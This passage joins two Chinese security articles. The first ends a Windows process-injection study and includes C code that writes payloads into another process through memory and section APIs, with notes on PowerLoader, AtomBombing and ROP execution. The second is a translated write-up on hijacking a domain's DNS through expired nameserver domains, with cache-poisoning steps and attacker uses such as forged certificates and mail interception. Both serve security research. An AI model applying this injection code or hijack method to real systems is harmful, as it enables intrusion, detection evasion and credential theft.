payloadSize, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 2. write payload
WriteProcessMemory(hp, ptr,
payload, payloadSize, &tmp);
return ptr;
}
或者使用Nt/Zw API。
LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
LPVOID ptr=NULL;
ULONG len=payloadSize;
NTSTATUS nt;
ULONG tmp;
// 1. allocate memory
NtAllocateVirtualMemory(hp, &ptr, 0,
&len, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE|PAGE_READWRITE);
// 2. write payload
NtWriteVirtualMemory(hp, ptr,
payload, payloadSize, &tmp);
return ptr;
}
虽然这里没有显示，但可能会使用其他操作来删除虚拟内存的写入权限。
## 创建section object
另一种方法是使用section object。微软对此有何说明？
> section object表示可以共享的内存段。进程可以使用section object与其他进程共享其内存地址空间的一部分。section
> object还提供了进程可以将文件映射到其内存地址空间的机制。
虽然在常规应用程序中使用这些API表明存在恶意，但攻击者将继续使用它们进行进程注入。
1. 使用NtCreateBroker创建一个新的section object，并将其分配给S。
2. 使用NtMapViewOfSection映射攻击进程的S视图，并分配给B1。
3. 使用NtMapViewOfSection映射目标进程的S视图，并分配给B2。
4. 将payload复制到B1。
5. 映射B1。
6. 关闭S
7. 返回指向B2的指针。
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
HANDLE s;
LPVOID ba1=NULL, ba2=NULL;
ULONG vs=0;
LARGE_INTEGER li;
li.HighPart = 0;
li.LowPart = payloadSize;
// 1. create a new section
NtCreateSection(&s, SECTION_ALL_ACCESS,
NULL, &li, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// 2. map view of section for current process
NtMapViewOfSection(s, GetCurrentProcess(),
&ba1, 0, 0, 0, &vs, ViewShare,
0, PAGE_EXECUTE_READWRITE);
// 3. map view of section for target process
NtMapViewOfSection(s, hp, &ba2, 0, 0, 0,
&vs, ViewShare, 0, PAGE_EXECUTE_READWRITE);
// 4. copy payload to section of memory
memcpy(ba1, payload, payloadSize);
// 5. unmap memory in the current process
ZwUnmapViewOfSection(GetCurrentProcess(), ba1);
// 6. close section
ZwClose(s);
// 7. return pointer to payload in target process space
return (PBYTE)ba2;
}
## 使用现有的section object和ROP链
PowerLoader恶意程序使用由Explorer.exe创建的现有共享对象来存储payload，但由于对象(读写)的权限，如果不使用面向返回的编程(ROP)链，无法直接执行代码。可以将payload复制到内存中，但如果没有一些额外的技巧，就无法执行它。
PowerLoader使用以下section名进行代码注入：
"BaseNamedObjectsShimSharedMemory"
"BaseNamedObjectswindows_shell_global_counters"
"BaseNamedObjectsMSCTF.Shared.SFM.MIH"
"BaseNamedObjectsMSCTF.Shared.SFM.AMF"
"BaseNamedObjectsUrlZonesSM_Administrator"
"BaseNamedObjectsUrlZonesSM_SYSTEM"
1. 使用NtOpenSection打开目标进程中的现有内存段
2. 使用NtMapViewOfSection映射section视图
3. 将payload复制到内存
4. 使用ROP链执行
## UI共享内存
Ensilo使用[PowerLoaderEx](https://github.com/BreakingMalware/PowerLoaderEx)演示了使用UI共享内存执行进程。[Steroids注入：无密码的代码注入和0day技术](https://www.slideshare.net/enSilo/injection-on-steroids-codeless-code-injection-and-0day-techniques)
描述了更多关于它如何工作的细节。它使用桌面堆栈将payload注入explorer.exe。
阅读MSDN上的[桌面堆栈概述](https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/)，我们可以看到用户界面的进程之间已经有共享内存。
每个桌面对象都有一个与之关联的桌面堆栈。桌面堆栈存储某些用户界面对象，如窗口、菜单和钩子。当应用程序需要一个用户界面对象时，调用user32.dll中的函数来分配这些对象。如果应用程序不依赖于user32.dll，则不使用桌面堆栈。让我们来看一个简单的应用程序如何使用桌面堆栈的示例。
## 使用code cave
基于主机的入侵防御系统(Host Intrusion Prevention
Systems/HIPS)将VirtualAllocEx/WriteProcessMemory的使用为可疑活动，这可能是PowerLoader的作者使用现有部分对象的原因。PowerLoader很可能启发了[AtomBombing](https://github.com/BreakingMalwareResearch/atom-bombing)背后的作者使用动态链接库(DLL)中的code cave来存储payload，并使用ROP链执行。
AtomBombing使用GlobalAddAtom、GlobalGetAtomName和NtQueueApcThread的组合将payload部署到目标进程中。执行是使用ROP链和SetThreadContext完成的。如果不使用标准方法，还有什么其他方法可以部署payload呢？
进程间通信(IPC)可用于与另一个进程共享数据。实现这一目标的一些方法包括：
* Clipboard (WM_PASTE)
* Data Copy (WM_COPYDATA)
* Named pipes
* Component Object Model (COM)
* Remote Procedure Call (RPC)
* Dynamic Data Exchange (DDE)
为了完成本文，我决定检查WM_COPYDATA，但是事后看来，我认为COM可能是更好的方式。
可以通过WM_COPYDATA消息在GUI进程之间合法地共享数据，但是它可以用于进程注入吗？SendMessage和PostMessage是两种这样的API，可用于将数据写入远程进程空间，而无需显式打开目标进程并使用虚拟内存API在那里复制数据。
Tarjei Mandt在Blackhat 2011上展示的[通过User-Mode回调进行的内核攻击](http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf)
使我研究了使用位于进程环境块(PEB)中的KernelCallbackTable进行进程注入的可能性。当user32.dll加载到GUI进程中时，该字段被初始化为一个函数数组，这是我最初开始了解内核如何发送窗口消息的地方。
将WinDbg附加到记事本上，获取PEB的地址。
0:001> !peb
!peb
PEB at 0000009832e49000
将其转储到windows调试器中将显示以下详细信息。我们感兴趣的是KernelCallbackTable，所以我已经去掉了大部分字段。
0:001> dt !_PEB 0000009832e49000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
// details stripped out
+0x050 ReservedBits0 : 0y0000000000000000000000000 (0)
+0x054 Padding1 : [4] ""
+0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
+0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void
如果我们使用转储符号命令转储地址0x00007ffd6afc3070，就会看到对USER32!apfnDispatch的引用。
0:001> dps $peb+58
0000009832e49058 00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060 0000000000000000
0000009832e49068 0000029258490000
0000009832e49070 0000000000000000
0000009832e49078 00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080 000003ffffffffff
0000009832e49088 00007df45c6a0000
0000009832e49090 0000000000000000
0000009832e49098 00007df45c6a0730
0000009832e490a0 00007df55e7d0000
0000009832e490a8 00007df55e7e0228
0000009832e490b0 00007df55e7f0650
0000009832e490b8 0000000000000001
0000009832e490c0 ffffe86d079b8000
0000009832e490c8 0000000000100000
0000009832e490d0 0000000000002000
仔细检查USER32!apfnDispatch可以发现一系列函数。
0:001> dps USER32!apfnDispatch
00007ffd6afc3070 00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078 00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080 00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088 00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090 00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098 00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0 00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8 00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0 00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8 00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0 00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8 00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0 00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8 00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0 00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8 00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT
第一个函数USER32!_fnCOPYDATA在进程A向属于进程B的窗口发送WM_COPYDATA消息时调用。内核将向目标窗口句柄发送消息，包括其他参数，这些消息将由与其关联的windows进程处理。
0:001> u USER32!_fnCOPYDATA
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
00007ffd6af62bd4 33c0 xor eax,eax
00007ffd6af62bd6 4c8bd1 mov r10,rcx
00007ffd6af62bd9 89442438 mov dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440 mov qword ptr [rsp+40h],rax
00007ffd6af62be2 394108 cmp dword ptr [rcx+8],eax
00007ffd6af62be5 740b je USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120 cmp qword ptr [rcx+20h],rax
在这个函数上设置断点并继续执行。
0:001> bp USER32!_fnCOPYDATA
0:001> g
下面的代码将把WM_COPYDATA消息发送到记事本。编译并运行它。
int main(void){
COPYDATASTRUCT cds;
HWND hw;
WCHAR msg[]=L"I don't know what to say!n";
hw = FindWindowEx(0,0,L"Notepad",0);
if(hw!=NULL){
cds.dwData = 1;
cds.cbData = lstrlen(msg)*2;
cds.lpData = msg;
// copy data to notepad memory space
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
}
return 0;
}
一旦该代码执行，它将在发送WM_COPYDATA消息之前尝试查找记事本的窗口句柄，这将触发调试器中的断点。调用堆栈显示调用的发源地，在本例中是来自KiUserCallbackDispatcherContinue。根据调用约定，参数放在RCX、RDX、R8和R9中。
Breakpoint 0 hit
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
0:000> k
# Child-SP RetAddr Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21
0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
r8=0000000000000000 r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58 sub rsp,58h
将第一个参数的内容转储到RCX寄存器中，显示了示例程序发送的一些可识别数据。notepad!NPWndProc显然是与接收WM_COPYDATA的目标窗口相关联的回调过程。
0:000> dps rcx
0000009832caf678 00000038000000b0
0000009832caf680 0000000000000001
0000009832caf688 0000000000000000
0000009832caf690 0000000000000070
0000009832caf698 0000000000000000
0000009832caf6a0 0000029258bbc070
0000009832caf6a8 000000000000004a // WM_COPYDATA
0000009832caf6b0 00000000000c072e
0000009832caf6b8 0000000000000001
0000009832caf6c0 0000000000000001
0000009832caf6c8 0000000000000034
0000009832caf6d0 0000000000000078
0000009832caf6d8 00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0 00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8 0000000000000058
0000009832caf6f0 006f006400200049
传递给fnCOPYDATA的结构不是调试符号的一部分，但是下面是我们所看到的:
typedef struct _CAPTUREBUF {
DWORD cbCallback;
DWORD cbCapture;
DWORD cCapturedPointers;
PBYTE pbFree;
DWORD offPointers;
PVOID pvVirtualAddress;
} CAPTUREBUF, *PCAPTUREBUF;
typedef struct _FNCOPYDATAMSG {
CAPTUREBUF CaptureBuf;
PWND pwnd;
UINT msg;
HWND hwndFrom;
BOOL fDataPresent;
COPYDATASTRUCT cds;
ULONG_PTR xParam;
PROC xpfnProc;
} FNCOPYDATAMSG;
继续并检查寄存器的内容。
0:000> r
r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
r8=00000000000c072e r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
USER32!_fnCOPYDATA+0x46:
00007ffd6af62c16 498b4a28 mov rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070
0:000> u rcx
notepad!NPWndProc:
00007ff79cc131b0 4055 push rbp
00007ff79cc131b2 53 push rbx
00007ff79cc131b3 56 push rsi
00007ff79cc131b4 57 push rdi
00007ff79cc131b5 4154 push r12
00007ff79cc131b7 4155 push r13
00007ff79cc131b9 4156 push r14
00007ff79cc131bb 4157 push r15
我们看到一个指向COPYDATASTRUCT的指针被放置在R9中。
0:000> dps r9
0000009832caf6c0 0000000000000001
0000009832caf6c8 0000000000000034
0000009832caf6d0 0000009832caf6f0
0000009832caf6d8 00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0 00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8 0000000000000058
0000009832caf6f0 006f006400200049
0000009832caf6f8 002000740027006e
0000009832caf700 0077006f006e006b
0000009832caf708 0061006800770020
0000009832caf710 006f007400200074
0000009832caf718 0079006100730020
0000009832caf720 00000000000a0021
0000009832caf728 00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730 0000009800000000
0000009832caf738 0000000000000001
这个结构是在调试符号中定义的，所以我们可以转储它，显示它包含的值。
0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
+0x000 dwData : 1
+0x008 cbData : 0x34
+0x010 lpData : 0x0000009832caf6f0 Void
最后，检查应该包含从进程A发送的字符串的lpData字段。
0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0 "I don't know what to say!."
我们可以看到这个地址属于创建线程时分配的堆栈。
0:000> !address 0000009832caf6f0
Usage: Stack
Base Address: 0000009832c9f000
End Address: 0000009832cb0000
Region Size: 0000000000011000 ( 68.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0000009832c30000
Allocation Protect: 00000004 PAGE_READWRITE
More info: ~0k
检查位于线程环境块(Thread Environment Block/TEB)中的线程信息块(Thread Information
Block/TIB)为我们提供了StackBase和StackLimit。
0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000)) [Type: _NT_TIB]
[+0x000] ExceptionList : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
[+0x008] StackBase : 0x9832cb0000 [Type: void *]
[+0x010] StackLimit : 0x9832c9f000 [Type: void *]
[+0x018] SubSystemTib : 0x0 [Type: void *]
[+0x020] FiberData : 0x1e00 [Type: void *]
[+0x020] Version : 0x1e00 [Type: unsigned long]
[+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
[+0x030] Self : 0x9832e4a000 [Type: _NT_TIB *]
好的，我们可以使用WM_COPYDATA将payload部署到一个目标进程(如果它有一个附加的GUI)，但是除非我们能够执行它，否则它是没有用的。此外，堆栈是一个易变的内存区域，因此不可靠，无法用作code
cave。要执行它，需要找到确切的地址并使用ROP链。当ROP链被执行时，不能保证payload仍然是完整的。因此，在这种情况下，我们可能不能使用WM_COPYDATA，但需要记住的是，可能有许多方法可以使用合法API与另一个进程共享payload，这些API比使用WriteProcessMemory或NtWriteVirtualMemory更不可疑。
对于WM_COPYDATA，仍然需要确定payload堆栈中的确切地址。可以使用ThreadBasicInformation类通过NtQueryThreadInformationAPI检索线程环境块(TEB)的内容。读取TebAddress后，可以读取StackLimit和StackBase值。在任何情况下，堆栈的波动性意味着在执行之前payload可能会被覆盖。
## 总结
避免使用用于部署和执行payload的常规API都会增加检测的难度。PowerLoader在现有的section object中使用了一个code
cave，并使用了一个ROP链来执行。PowerLoaderEx是一个PoC，它使用桌面堆栈，而AtomBombing的PoC使用DLL的.data部分中的一个code
cave。
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】通过劫持DNS解析服务器攻击目标
|
##### 译文声明
本文是翻译文章，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/respect-my-authority-hijacking-broken-nameservers-to-compromise-your-target/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：300RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**
**
**前言**
在前一篇研究中，我们探讨了当[解析服务器](http://www.inmotionhosting.com/support/domain-names/dns-nameserver-changes/what-is-a-name-server)的域名到期后，允许我们完全接管某些目标域名(这些域名由已经过期的解析服务器解析)的问题。在那个例子中，[我们通过购买一个过期的权威解析服务器的域名，接管了需要权威解析服务器来解析的“maris.int”域名](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)(建议先看一看这篇文章，同时最好有一些DNS详细协议的相关基础，否则下面的内容不太好理解，有基础的可以直接pass)。这个先前的例子基于两个有问题的域名服务器，一个配置有问题，另一个域名已经过期。由于存在这两个问题，导致了解析服务器的域名完全无法访问到(直到我买了该域名)。从而更容易控制这个域名上承载的域名系统(如果一个解析服务器有问题，客户端会自动去查询下一个工作的解析服务器)。这也引发了一个重要的问题：由于解析服务器的域名过期、或其他可以接管的漏洞，导致一些解析服务器无法工作，那么还有没有这样的域名和解析服务器呢？实际上，有很多方法，可以找到这样的解析服务器。
**一些坏的解析服务器**
如果某解析服务器的域名存在漏洞，我们如果能找到这样的域名，并控制该域名，那么，对于那些经过该域名所在的解析服务器解析的域名，我们都可以很容易的进行各种攻击。为了找到这样的域名，我可能不得不返回去扫描互联网，幸运的是，因为[我们已经有了一个“.int”域名区域的复本](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)(在前一篇研究文章中，我们已经得到了)，我们可以从这开始。在遍历了这个列表后，我发现了另一个有漏洞的“.int”域名:iom.int。实际上，这个网站的功能是齐全的，并且能正常工作，只是它的四个解析服务器中，有两个解析服务器的域名是过期的。非常有趣，除非你遍历了整个[DNS树](https://technet.microsoft.com/en-us/library/dd197427\(v=ws.10\).aspx)，否则你可能无法发现这个问题。例如，下面是iom.int域名的NS记录查询结果：
如上图所示，我们使用了GOOGLE的8.8.8.8公共DNS解析服务器，来查询iom.int的解析服务器，返回了两个域名，分别是“ns1.zrh1.ch.colt.net”和“ns1.gva.ch.colt.net”，状态码是“NOERROR”。“colt.net”域名当前已经被注册、处在工作中、并且返回了预期的DNS记录。如果是这样的情况，那么漏洞在哪呢？实地上，因为dig的工作方式，我们有一点被误导了。让我们来看一看运行dig时加上“+trace”参数，会发生什么：
如上所示，dig的进程在遍历DNS树。首先，我们看到它向根解析服务器(13台)查询了“.int”顶级域名的解析服务器，结果就是“ns.icann.org”、“ns1.cs.ucl.ac.uk”等5个域名，下一步，dig会随机向一个刚才返回的“.int”的解析服务器查询iom.int域名的解析服务器，如上图，可以看到，返回了多个iom.int域名的解析服务器。然而，dig会继续查询[委托链](https://technet.microsoft.com/en-us/library/cc771640\(v=ws.11\).aspx)，直到得到一个[权威应答](https://blog.opendns.com/2014/07/16/difference-authoritative-recursive-dns-nameservers/)。此外，如果“.int”顶级域名的解析服务器不是iom.int区域的权威区域，因此DNS回应数据包中[权威应答标志](http://www.tcpipguide.com/free/t_DNSMessageHeaderandQuestionSectionFormat.htm)没有被设置。只有返回的解析服务器包含特定区域时，该字段才会被设置。此时域名系统会说：“停止遍历DNS树，你要找的区域属于我这里。”在dig的处理过程中，我们看到：从“.int”顶级解析务器中随机选出了一个解析服务器，然后再向该解析服务器查询iom.int的解析服务器，并找到了iom.int区域的权威解析服务器，并返回给我们。有趣的是，如果dig遇到一些非工作的解析服务器时，比如“ns1.iom.org.ph”和“ns2.iom.org.ph”，dig在这些域名对应的解析服务器上的查询会失败，但是进程不会终止，会自动跳到下一个工作的解析服务器上，并且不会通知我们。
**域名的可用性、注册的真相、粗略的DNS配置**
最初，当我使用我写的一些自定义软件扫描这个漏洞时，我收到一个警告信息：iom.org.ph可以被注册，也就是说该域名还没有被使用，是无效的。但是当我使用dig来进行查询时，我发现了一些奇怪的东西：
上图的查询显示出，当我们查询iom.org.ph域名的A记录(IP记录)时，我们得到了一个有效的IP地址。那么，等一下，iom.org.ph域名真的返回了一个有效的记录吗？如果这个域名不存在(可以被注册)，那怎么还能返回一个记录呢？当我查询这个域名的解析服务器时，事件变的更奇怪了：
从上图的dig结果看到，对于该域名，尽管刚才返回了一个A记录，但是并不存在它的解析服务器(NS记录)。怎么会这样呢？尝试此查询后，我甚至对该域名的可用性没有信心。因此，为了验证我的想法，我进行了以下查询：
好了，根据上图显示，很明显了，所有不存在的“.org.ph”域名都会返回一个A记录(IP)。那么这个IP上到底有什么东西呢？下面的截图是我们访问“ThisCantPossiblyExist.org.ph”域名的结果。
上图已经清楚告诉我们发生了什么。通常，一个域名如果没有被注册，是不会被解析的，但是，“.org.ph”顶级域名存在一个A记录，它被解析了，并将该顶级域名将访问域名的用户，引导到一个充满了可疑广告的页面中，包含一个通知信息：“这个域名可以被注册”。这可能是想从访问该域名(不存在的域名)的人那里赚更多的钱。我不想评论这个策略的道德性或模糊性，只想告诉大家，如何才能用dig探测到这种情况。下面的查询显示了DNS到底是怎么配置的：
在上面的查询中，我们用了通配符来查询任何与“*.org.ph”相匹配的结果，上面的结果很好的说明了事件的原因。
另外，需要做进一步健全性检查时，域名的历史数据是一个很有用的强大工具。我知道的最大的一个DNS历史数据、WHOIS信息、和常规互联网数据收集数据库，是“[Domain
Tools](http://domaintools.com/)”，在联系他们后，他们伸出手来为我提供了一个研究者帐户，而后，我用这些数据得到了有关这个漏洞的所有信息。查询了这个资料库后，我知道了iom.org.ph域名第一次出现这个漏洞(或者第一次过期)的准确时间。
有趣的是，这个历史数据显示，该域名从2013年以后可能就已经过期。并且该问题(已经过期)可能已经存在了很长时间了，这个事实表明，这种类型的漏洞是足够微妙的，以至于在这么长时间都被忽略了。
**接管域名**
一旦我认识到iom.org.ph域名确实可用时，我可以注册这个域名，并将这个域名变成iom.int域名的权威解析服务器。这和我们上一篇文章中maris.int域名很相似，并且有一个有趣的问题。当一个人试图访问iom.int域名时，最终通过我们的解析服务器来查询的可能性是百分之50(根据前面“dig
iom.int
+trace”的结果，读者可以想想为什么是50%)。出现这个结果是因为DNS的轮询调度机制，这是一种利用多个服务器来分散DNS查询负载的技术。这个概念是相当简单的，在DNS系统中，如果你想利用多个服务器来分散DNS的查询负载，对于一个查询，就可能会得到多个结果(这个结果不是最后的IP，而是中间过程中查询到了解析服务器的结果，解析服务器会有多个)。因此，为了均匀的分配负载，你得到的返回结果将会是随机的，这样的话，查询客户端第次查询都会选择一个不同的解析服务器(NS记录)。在这个例子中，当我们查询DNS的A记录时，根据这个机制，有可能在三个IP中随机的返回一个，每个IP的可能性大约是33.33%。举个例子，假设我们要尝试向“.int”顶级域名的解析服务器查询iom.int域名的NS记录(解析服务器)。首先，我们通过下面的步骤得到“.int”顶级域名和解析服务器：
然后，我们随机选出一个(下面假如随机选出了ns.uu.net域名)，并多次向它查询iom.int域名的解析服务器：
正好上面看到的，我们每次查询得到的解析服务器的顺序都不一样。这就是DNS轮询调试机制的好处，每次得到不同的解析服务器会大致均衡DNS查询的负载。然而，这个让我们的攻击变的复杂，因为用户有50%的机会能得到合法的解析服务器。因此，现在的问题是我们如何才能颠覆这个概率，并对我们有利呢？
**轮询调试的概率可以对我们永远有利**
目前，我们无法控制“.int”顶级域名服务器的行为，我们只有大约50%的机会。作为一个攻击者，我们需要弄清楚如何才能使这个概率接近100%。幸运的是，因为DNS的结构，我们可以做的非常接近。
当你访问www.google.com时，你的电脑会进行DNS查询得到一个IP地址，从表面上看，得到这个结果时，它好像没有遍历整个DNS树。相反，它可能会使用一个DNS解析器，并以你的名义执行此过程，并缓存所有的结果。你的电脑在DHCP过程中，会被分配一个大型的DNS解析器(如8.8.8.8或8.8.8.4
DNS服务器)，或者你的本地路由器或电脑中的一个小型的解析器。在解析器后端，会有很多正在进行DNS查询的客户端，同时可以通过缓存结果加快查询速度。因此，当一个客户端在查询www.google.com域名的地址前，如果其它客户端已经查询过，那么这个客户端就不会遍历DNS树，因为该域名的查询结果在缓存中已经有了。在DNS结构中，缓存有优先权，要意识到这一点对我们很重要。这种架构的副作用是很明显的，比如类似Dyn公司遭受DDoS攻击的事件，造成了数百万用户在互联网下线。事实证明，当你把所有的鸡蛋放在一个篮子里，你最好确定篮子可以撑的住。
在完成一次DNS查询后，解析器会暂时保存查询结果，不论回应的TTL是否设置。意味着，例如，如果一个回应包的TTL设置为120，缓存解析器分服从这个设置，并在两分钟内给查询这个域名的其它客户端返回一样的记录。这个值是有上限的，但是它的设置依赖解析器本身，也许设置成长达一个星期也没有问题。
鉴于这种情况，我们可以通过设置TTLs的时间，达到我们的目的，情况基本上归结为：
1.用户访问iom.int域名所在的网站，会首先自动查找域名的A记录。
2.根据“.int”顶级域名的解析服务器(NS记录)的查询结果，查询进程会随机选择其中的一个解析服务器，选中我们染毒解析服务器的概率是50%。
3.如果用户的查询进程没有选中我们的染毒解析服务器，选择了一个合法的，那么解析器会将这个结果缓存下来，并将TTL时间定义为21745秒(大约6小时)。这是在写这篇文章的时候记录下的实际TTL值。
4.稍后，6个小时以后，用户再次访问网站时，解析器会再次遍历DNS树，如果这一次得到的结果是我们的恶意解析服务器，那么好了，成功了，解析服务器在我们手里，我们可以随便设置域名所对应的A记录(IP地址)。通过我们的恶意解析服务器，我们可以把回应的TTL值设置成604800秒(一周),也可以设置的更长，就看你的需要了。然后解析器在缓存中会保存这个记录，直到TTL时间结束。
5.现在，在接下来的一周中，所有访问这个域名的用户，解析器的客户端都会使用这个伪造的记录。
当你意识到有很多人或服务正在使用大型解析器时，如google的公共解析器(8.8.8.8、8.8.8.4)或Dyn的(216.146.35.35、216.146.36.36),你就可以想像到事件的严重性了。我们认为，概率问题只是一个小问题，只是一个时间问题，因为时间越长，解析的次数越多时，总会有一次解析选中我们的染毒解析服务器，然后，所有的解析客户端(潜在的数以百万计的)在相当长的一段时间中(TTL)，都会返回染毒的结果。更有甚者，对于大型解析器，我们可以很容易做一个测试，当我们知道已经使缓存中毒时，我们可以迅速采取行动。
**DNS的力量**
到这里，我们已经可以对目标进行DNS污染了，但是它给了我们什么能力呢？我们能用新获得的特权做什么呢？
1.为iom.int发行任意SSL/TLS证书：很多证书颁发机构在域名验证时允许使用DNS、HTTP、或电子邮件,基于这个事实，我们可以很容易的在我们控制的解析服务器上设置DNS记录，以证明我们拥有目标域名。即使CA选择了目标域名的实际解析服务器，只要等到缓存过期，我们只需要再次发起请求，直到它向我们的恶意解析服务器发起查询请求。这假定证书颁发机构的证书颁发系统确实执行了缓存数据–如果它没有，我们只需要立即再次尝试，直到我们的恶意服务器被选择。
2.目标邮件拦截：因为我们可以设置目标域名(通过我们控制的恶意解析服务器来解析)的MS记录，通过设置我们的恶意解析服务器，来监视从特定目标发来的DNS查询请求，如Gmail、Yahoo
Mail，或IANA的邮件服务器，并选择性的导引邮件路由路径。这种方法非常隐秘，因为除了我们关心的目标之外，我们可以给任何查询请求返回一个合法的应答。
3.接管“.int”域名本身：就“.int”顶级域名而言，如果我们想在登记处更改该域名的拥有者或解析服务器，该域名的行政联系人和技术联系人都必须认可这种变化(假设更改策略和IANA的根解析服务器的策略是相同的)，修改才会生效，具体信息可以从IANA的网站上看到。通过查询WHOIS信息，我发现，行政联系人和技术联系人的两个电子邮件地址也在iom.int上(这是字面翻译，但是联系前后文，这里的实际意思应该是电子邮件地址的解析服务器和iom.int的解析服务器是一样的)。所以我们有拦截这两个邮件的能力。现在我们只需要等待，直到从IANA的IP段发来一个DNS
MX查询请求时，对MX记录结果选择性的投毒，将电子邮件引导到我们的服务器上，这将允许我们以管理者的身份发送或接收电子邮件。为了测试能否实现污染IANA的邮件服务器，我们可以使用iom.int(因为该域名也是“.int”域名)来伪造邮件，并检查这个邮件是否被重定向到我们的恶意邮件服务器上。如果我们没有收到它，我们只需要等待合法的邮件服务器的TTL缓存时间结束，然后我们再一次尝试。
4.偷取用户凭证：因为我们可以更改域名系统，为了偷取用户的各种凭证或其它数据，我们可以重写A记录，将流量重定向到我们的钓鱼服务器上。
5.利用SRV欺骗的中间人设备：因为我们可以控制SRV记录，我们可以改变这个记录，强制嵌入设备连接到我们的服务器。包括那些在路由时会使用DNS的所有设备(假设协议中没有其他验证方法)。
6.和更多其它的
很明显，这是一个已经存在的漏洞，但是这种漏洞在现实中会很多吗？对于一个随机的“.int”网站可能存在这个漏洞，但是其它任何实际的重要网站会存在这个问题吗？
**不是一个孤立的事件**
下面是一个网站的截图，这个网站存在的漏洞和iom.int的一样。这一次是由一个错字符引发了解析服务器的解析：
